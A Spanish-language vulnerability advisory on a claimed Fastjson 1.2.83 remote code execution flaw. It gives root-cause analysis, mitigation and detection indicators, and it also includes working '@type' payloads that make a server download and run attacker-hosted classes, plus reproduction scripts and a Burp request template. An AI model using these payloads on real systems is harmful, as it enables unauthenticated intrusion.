Análisis profundo y guía de defensa sobre la vulnerabilidad "Gadget-Free" de Fastjson 1.2.83 (0day)

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 aún puede desencadenar la ejecución remota de código sin necesidad de gadgets tradicionales con AutoType=false por defecto, y se ha reproducido en entornos aislados de JDK 8/17/21/25 + Spring Boot Loader.


Resumen


En el sistema de defensa contra vulnerabilidades de deserialización de Java tradicional, existe una ceguera común en la industria: "AutoType desactivado por defecto es seguro", "fijar el segundo parámetro de parseObject (tipo objetivo de nivel superior) es seguro", "eliminar las dependencias de gadgets de deserialización de Classpath local es seguro". Sin embargo, la última evolución en la tecnología de ataque y defensa ha roto completamente estas ilusiones.


La Alianza Global de Ciberseguridad (GCSA) ha publicado hoy este informe técnico exclusivo. El informe revisa en profundidad cómo Fastjson 1.2.83, en estado de AutoType=false por defecto, aún puede desencadenar la ejecución remota de código (RCE) sin depender de gadgets tradicionales. Actualmente, esta técnica de explotación se ha reproducido con éxito de extremo a extremo en JDK 8 / 17 / 21 / 25 y en entornos aislados de Spring Boot Loader. Esta vulnerabilidad no es un "bypass de lista negra buscando gadgets locales", sino que convierte directamente la lógica de detección de metadatos de clase de Fastjson en un canal para obtener y autorizar clases maliciosas remotas. A continuación se presenta el contenido principal.


  • Agencia publicadora: GCSA Alianza Global de Ciberseguridad
  • Tipo de informe: Perspectiva técnica exclusiva / Informe de análisis profundo de vulnerabilidades
  • Fecha del informe: 21-07-2026
  • Estado del informe: Auditoría de código fuente y reproducción en entorno aislado completadas
  • Número de vulnerabilidad: Número de investigación interno FJ-GETRESOURCE-RCE (no corresponde a CVE publicado)

Fastjson 1.2.83 aún puede desencadenar la ejecución remota de código sin necesidad de gadgets tradicionales con AutoType=false por defecto, y se ha reproducido en entornos aislados de JDK 8/17/21/25 + Spring Boot Loader. Se recomienda habilitar inmediatamente SafeMode y migrar a Fastjson 2.x.


  1. Resumen de la ejecución


El método ParserConfig.checkAutoType de Fastjson 1.2.83 convierte el valor @type controlado por el usuario en un nombre de recurso de clase y lo pasa a getResourceAsStream del ClassLoader actual:

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


En un entorno de ClassLoader fat-jar que puede resolver nombres de recursos de URL absolutos, un atacante puede construir URLs http:, jar:http: y jar:file: utilizando el reemplazo de puntos, descargando clases maliciosas con @JSONType desde el lado del atacante. Fastjson, al detectar esta anotación, llamará a loadClass y devolverá directamente esa clase antes de realizar la verificación de clases base peligrosas y la verificación de compatibilidad de tipos objetivo. La clase se puede instanciar e inicializar para ejecutar cualquier código.


Esta explotación no depende de gadgets de deserialización tradicionales ya presentes en el classpath objetivo, y aún puede desencadenarse en el estado por defecto de AutoType=false de Fastjson. Fijar el tipo objetivo de JSON.parseObject no puede detener la ejecución; habilitar SafeMode puede bloquear el camino de explotación normal antes del acceso a recursos.


Este informe ha completado la siguiente reproducción en un contenedor Linux aislado utilizando la misma carga útil JSON:



  1. Clasificación de la vulnerabilidad



No se recomienda dar una CVSS unificada de 9.8 solo por la versión del componente: el AppClassLoader normal es un control negativo, y la cadena completa de JDK moderno también depende de un cargador que pueda resolver dos tipos de URL JAR absolutas y /proc/self/fd. En aplicaciones que cumplen con el entorno positivo de este informe, el efecto de la vulnerabilidad es RCE de red sin autenticación.


  1. Alcance de impacto y condiciones previas


3.1 Alcance confirmado


  • Confirmación en tiempo de ejecución: Fastjson 1.2.83
  • Confirmación de JDK: 8, 17, 21, 25
  • Confirmación del sistema operativo: Linux; macOS también completó la reproducción de JDK 17/21/25 utilizando /dev/fd
  • Confirmación del cargador: Spring Boot 2.7.18 cargador clásico + JDK 8; Spring Boot 3.2.0 cargador + JDK 17/21/25
  • Confirmación de API: JSON.parse, así como JSON.parseObject con tipo superior fijo

3.2 Descripción del rango de versiones


El rango 1.2.68--1.2.83 en la descripción externa es más adecuado como rango de prueba conocido, en lugar de la versión que introduce la vulnerabilidad. La verificación del código fuente indica que el código decisivo para la detección de recursos de clase ya existía en 1.2.67 y 1.2.68. Este informe solo ha completado la verificación de ejecución cruzada completa en JDK 1.2.83.


3.3 Condiciones necesarias para la explotación


  • El atacante puede controlar el JSON entrante a Fastjson, y el @type en la entrada será analizado
  • SafeMode no está habilitado
  • El ClassLoader que carga Fastjson puede resolver el nombre de recurso absoluto construido como URL
  • El proceso víctima puede conectarse al servicio HTTP del atacante
  • La cadena de Linux moderna requiere que /proc/self/fd sea legible, y el cargador puede resolver jar:file:/proc/self/fd/N!...
  • JDK necesita poder crear una caché temporal de JAR remota normal; esto generalmente significa que el directorio temporal de JVM es escribible

El atacante no necesita:


  • Escribir archivos en el classpath objetivo
  • Tener gadgets como TemplatesImpl, JNDI, C3P0, Commons Collections preinstalados en el classpath objetivo
  • Habilitar Fastjson AutoType
  • Controlar el segundo parámetro de JSON.parseObject

  1. Análisis de la causa raíz


4.1 Nombre de tipo de usuario tratado como URL de recurso


Ubicación del código fuente:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


Código clave:

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}


Esta lógica asume que el recurso es solo una ruta de classpath normal, pero no limita su protocolo, semántica de ruta absoluta o origen. Para un cargador fat-jar específico, la siguiente entrada se convierte en una URL absoluta después del reemplazo:

Nombre de tipo de entrada: http:..localhost:18081.a


Nombre de recurso: http://localhost:18081/a.class, por lo que getResourceAsStream consulta la metadata local y se desborda para cargar recursos de red controlados por el atacante.


4.2 Clase remota con @JSONType tratada como base de autorización


Fastjson utiliza su propio ASM ClassReader para analizar el contenido del recurso:

ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();


El lado atacante solo necesita que la clase remota tenga la anotación @JSONType de Fastjson para establecer jsonType en true. Aquí se está verificando los bytes proporcionados por el atacante, no una clase que ya ha sido cargada por un classpath confiable.


4.3 jsonType desencadena la carga real de la clase


Ubicación del código fuente:


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792


if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass intenta cargar la clase usando un loader explícito, el loader de contexto del hilo y Class.forName. En un entorno positivo, el loader de contexto del hilo volverá a resolver el mismo nombre de recurso absoluto, descargará la clase y ejecutará defineClass.


4.4 @JSONType permite omitir las verificaciones de seguridad posteriores


Ubicación del código fuente:


ParserConfig.java:1505-1528


if (clazz != null) {

if (jsonType) {

return clazz; } // Estas verificaciones se realizan después de que se devuelve jsonType.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...); } if (expectClass != null) {

// la verificación de asignabilidad también se realiza más tarde.

}

}


Una clase remota que lleva @JSONType:

  • No se ejecutará la verificación de clase base peligrosa
  • expectClass.isAssignableFrom(clazz) no se ejecutará
  • Los tipos de enlace de datos fijos no pueden evitar la ejecución antes de la inicialización de la clase

4.5 Sufijos Exception/Error crean un canal de falla suave


Ubicación del código fuente:


ParserConfig.java:1537-1542


if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null; }

throw new JSONException("autoType no es compatible. " + typeName); }


La primera fase del JDK moderno fallará al cargar nombres de clase internos ilegales. Hacer que el nombre de tipo termine en Exception, Fastjson no detendrá todo el JSON, sino que devolverá null, permitiendo que el analizador continúe procesando elementos enumerados FD en el array. Esta rama es clave para la ejecución de carga útil única a través de fases.


4.6 Ubicación de SafeMode


La verificación de SafeMode se encuentra antes del acceso a recursos:

ParserConfig.java:1325-1330


Por lo tanto, SafeMode en la ruta predeterminada puede bloquear solicitudes de red. Sin embargo, AutoTypeCheckHandler se encuentra antes de SafeMode (ParserConfig.java:1316-1323); si la aplicación registra activamente un handler que devuelve directamente un tipo, necesita ser auditado por separado, no se puede entender SafeMode como un límite absoluto que cubre handlers personalizados.


  1. Detalles de la cadena de explotación


5.1 JDK 8: carga directa de clases remotas


Forma más corta:

{"@type":"http:..localhost:18081.a"}


Cadena de conversión:

nombre de tipo binario: http:..localhost:18081.a

URL de recurso: http://localhost:18081/a.class

nombre interno de clase: http://localhost:18081/a


JDK 8 acepta estos nombres de clase internos no convencionales. La clase LaunchedURLClassLoader de Spring Boot 2.7 descarga la clase y completa la definición, instanciación e inicialización, ejecutando comandos maliciosos en .

JDK 17+ también completará la solicitud de red, pero rechazará segmentos de ruta vacíos en el nombre interno,

ClassFormatError: Illegal class name "http://localhost:18081/a"


Por lo tanto, la forma corta http:.. solo completa RCE en JDK 8.


5.2 Primera fase del JDK moderno: descarga de JAR remoto


El primer elemento del array de carga útil:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


Resultado de conversión:

URL de recurso:

jar:http://attacker:18081/x!/foo/Exception.class


El método sun.net.www.protocol.jar.URLJarFile.retrieve del JDK creará archivos temporales jar_cache*, copiando el JAR remoto a dicho archivo.


JDK 17+ posteriormente rechaza el nombre interno jar:http://... de la primera fase, pero Fastjson continúa analizando el array debido al sufijo Exception.


5.3 Segunda fase del JDK moderno: reabrir FD de caché


Elementos candidatos posteriores:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


Cadena de conversión:

nombre de tipo binario:

jar:file:.proc.self.fd.7!.fd7.Exception URL de recurso:

jar:file:/proc/self/fd/7!/fd7/Exception.class nombre interno de clase:

jar:file:/proc/self/fd/7!/fd7/Exception


A diferencia de http://, cada componente separado por / en este nombre interno no está vacío, por lo que la JVM moderna lo acepta. El JAR de ataque prepara una entrada para cada FD candidato:

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


Cada nombre interno del pool de constantes de cada clase coincide exactamente con el tipo de solicitud correspondiente de FD y lleva @JSONType. Una vez que se alcanza el manejador de caché real, Fastjson carga e instancia esa clase, ejecutando comandos en .


El primer acierto en los registros de carga de clases de JDK 17 es:

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 Por qué una carga útil es compatible con JDK 8 y JDK moderno


JDK 8 acepta directamente la clase de la primera fase jar:http://... y ejecuta


Después de que la clase de la primera fase ejecuta comandos, lanza intencionadamente RuntimeException("stage-one-stop"), evitando que JDK 8 continúe intentando FD de socket/tubería no relacionados


JDK 17+ falla debido a un nombre ilegal en la primera fase antes de la inicialización de la clase, luego entra en la fase de enumeración de FD a través de Exception como retorno suave


  1. Entorno de reproducción y evidencia


6.1 Hash de los componentes probados


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 Reproducción con un solo clic


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


Salida esperada:

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


El script hará:


  • Compilar el fat jar víctima;
  • Generar un JAR de ataque con clase FD específica;
  • Generar un array JSON payload;
  • Iniciar el servicio HTTP del atacante en una red Docker aislada;
  • Iniciar contenedores de víctima JDK 8/17/21/25;
  • Verificar cada contenedor mapeado en /tmp/fastjson-getresource-rce.

6.3 Generación manual de JAR de ataque y payload


cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host atacante \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


Generados:

Attacker JAR: target/getresource-repro/www-linux/x

JSON payload: target/getresource-repro/fd-payload-linux.json


--host se recomienda usar etiquetas DNS sin puntos o IPv4 decimal. La razón no es eludir localhost, sino que Fastjson reemplazará todos los . en el nombre del tipo por /. Por ejemplo, IPv42130706433 es equivalente a 127.0.0.1, pero no será descompuesto por los puntos.


6.4 Entrega a través de Burp Suite


Burp solo se encarga de enviar JSON a las interfaces de víctima que tienen puntos de análisis Fastjson; el JAR de ataque aún debe ser proporcionado por el servicio HTTP del atacante.


Plantilla de solicitud:


POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Colocar aquí el contenido completo de fd-payload-linux.json.]


Si la aplicación utiliza un tipo de nivel superior fijo, se puede envolver el array según la estructura de los campos, por ejemplo:

{"value":[/* Todos los elementos del array en fd-payload-linux.json */]}


Este experimento utiliza JSON.parseObject(json, BoundEnvelope.class) para analizar el envoltorio anterior, el resultado sigue siendo RCE-OK y devuelve correctamente BoundEnvelope.


6.5 Pruebas de límites clave



7. Recomendaciones de reparación y mitigación ----------

7.1 Preferencia: Migrar de Fastjson 1.x


Priorizar la migración a Fastjson 2.x en mantenimiento y volver a validar todos los tipos polimórficos, AutoType y configuraciones de modo compatible. No solo reemplazar el JAR sin realizar pruebas de regresión.


7.2 Habilitar SafeMode de inmediato


Configuración de código:

ParserConfig.getGlobalInstance().setSafeMode(true);


Parámetros de JVM:

-Dfastjson.parser.safeMode=true


Nota: Si la aplicación ha registrado un AutoTypeCheckHandler, debe auditarse o eliminarse, ya que el handler se ejecuta antes de la verificación en SafeMode.


7.3 Restringir los puntos de entrada de deserialización


  • No pasar solicitudes no confiables directamente a JSON.parse/JSON.parseObject
  • Rechazar cualquier forma de metadatos de tipo especial en el gateway o punto de entrada de la aplicación
  • Solo un tipo Java de nivel superior fijo no es una defensa suficiente, ya que los objetos anidados aún pueden manejar @type, y el jsonType de esta vulnerabilidad se devuelve antes de eludir la verificación de compatibilidad.

7.4 Reglas temporales de WAF/gateway


Interceptar temporalmente las solicitudes donde la clave JSON decodificada sea igual a @type, y cubrir parámetros de URL, cuerpo de solicitud y objetos anidados. No se puede buscar solo el texto plano "@type", el lexer de Fastjson decodificará primero los nombres de campo, por ejemplo:

{"\u0040type":"..."}

{"\x40type":"..."}


Las reglas de WAF solo pueden servir como mitigación, no pueden reemplazar la actualización de componentes y SafeMode.


7.5 Aislamiento de red y endurecimiento en tiempo de ejecución


  1. Prohibir que la JVM de negocio inicie conexiones HTTP/HTTPS a direcciones externas no necesarias.
  2. Implementar políticas de red mínimas en los contenedores de aplicación.
  3. Limitar la exposición de /proc/self/fd o utilizar un sandbox de contenedor más estricto cuando la compatibilidad lo permita.
  4. Auditar el manejo de ClassLoader de nombres de recursos de URL absolutas, rechazando protocolos como http:, https:, jar:, file:, etc.
  5. Monitorear actividades anómalas en jar_cache* en el directorio temporal de la JVM.

  1. Recomendaciones de detección e IOC


8.1 Características del lado de la solicitud


Prestar especial atención a los valores de @type decodificados que contengan:

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception


La aparición aislada de Exception no es suficiente para generar una alerta, debe analizarse en combinación con la forma del protocolo, @type y combinaciones de candidatos FD continuos dentro del array.


8.2 Características del lado de la red


  • JVM solicita JAR o .class sin extensión a hosts anómalos
  • Durante la misma solicitud de análisis, aparecen de 1 a 3 repeticiones de GET/HEAD
  • Puede aparecer en la ruta de solicitud /x, /a.class o rutas equivalentes personalizadas por el atacante

8.3 Características del lado del host


  • La JVM crea jar_cache* en el directorio temporal
  • El proceso Java vuelve a abrir su propio archivo a través de /proc/self/fd/N
  • Los registros de carga de clases muestran algo como jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception


  1. Conclusión


Esta vulnerabilidad no es un "eludir la lista negra y buscar gadgets locales" tradicional, sino que convierte la lógica de detección de metadatos de clase de Fastjson en un canal remoto para obtener y autorizar clases. El @JSONType se devuelve antes de que las clases proporcionadas por el atacante sean aceptadas, antes de las verificaciones de clase base y tipo peligrosas; el canal suave de fallo de Exception y la caché temporal jar:http: de JDK amplían la carga directa de JDK 8 a JDK 17/21/25.


Por lo tanto, los siguientes juicios comunes no son válidos:

  • "AutoType está desactivado por defecto, por lo que es seguro" --- No válido
  • "Fijar el segundo parámetro de parseObject, por lo que es seguro" --- No válido
  • "No hay gadgets conocidos en el classpath, por lo que es seguro" --- No válido
  • "JKD 17+ rechazará nombres internos http://, por lo que es solo SSRF" --- No válido

En implementaciones que cumplen con las condiciones de cargador, red y descriptores de archivos verificados, este problema puede evolucionar de una sola solicitud JSON no autenticada a una ejecución remota de código real. Se debe priorizar la migración a Fastjson 2.x, habilitar SafeMode de inmediato y restringir las fronteras de salida y la resolución de recursos de ClassLoader.


  1. Adjuntos y rutas de evidencia


Registro de investigación completo: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Instrucciones de reproducción: target/getresource-repro/README.md

Cadena corta de JDK 8: target/getresource-repro/reproduce.sh

Cadena completa de JDK 8/17/21/25 en Linux: target/getresource-repro/reproduce_fd_chain.sh

Generador de JAR/payload de ataque: target/getresource-repro/build_fd_chain.py

Payload de Linux generado: target/getresource-repro/fd-payload-linux.json

JDK 17 evidencia de carga de clases: target/getresource-repro/linux-jdk17-classload.log

Precio de --

--

Aviso legal: Este contenido se brinda únicamente con fines informativos y de marca, y no constituye asesoramiento financiero, de inversión, legal ni fiscal. Ningún evento, recompensa, evento en línea o información relacionada que se mencione aquí debe considerarse una recomendación, solicitud o invitación para comprar, vender, intercambiar u operar de cualquier otra forma con criptoactivos ni para utilizar ningún servicio. Los criptoactivos son altamente volátiles y pueden generar pérdidas. Los servicios y eventos en línea de WEEX pueden no estar disponibles en todas las regiones y están sujetos a las leyes, regulaciones y requisitos de elegibilidad aplicables. Usted es responsable de asegurarse de que su uso de los servicios de WEEX cumpla con las leyes locales y de evaluar cuidadosamente los riesgos antes de participar en cualquier actividad relacionada con criptomonedas.

Te puede gustar

iconiconiconiconiconiconicon
Atención al cliente:@weikecs
Cooperación empresarial:@weikecs
Trading cuantitativo y CM:bd@weex.com
Programa VIP:support@weex.com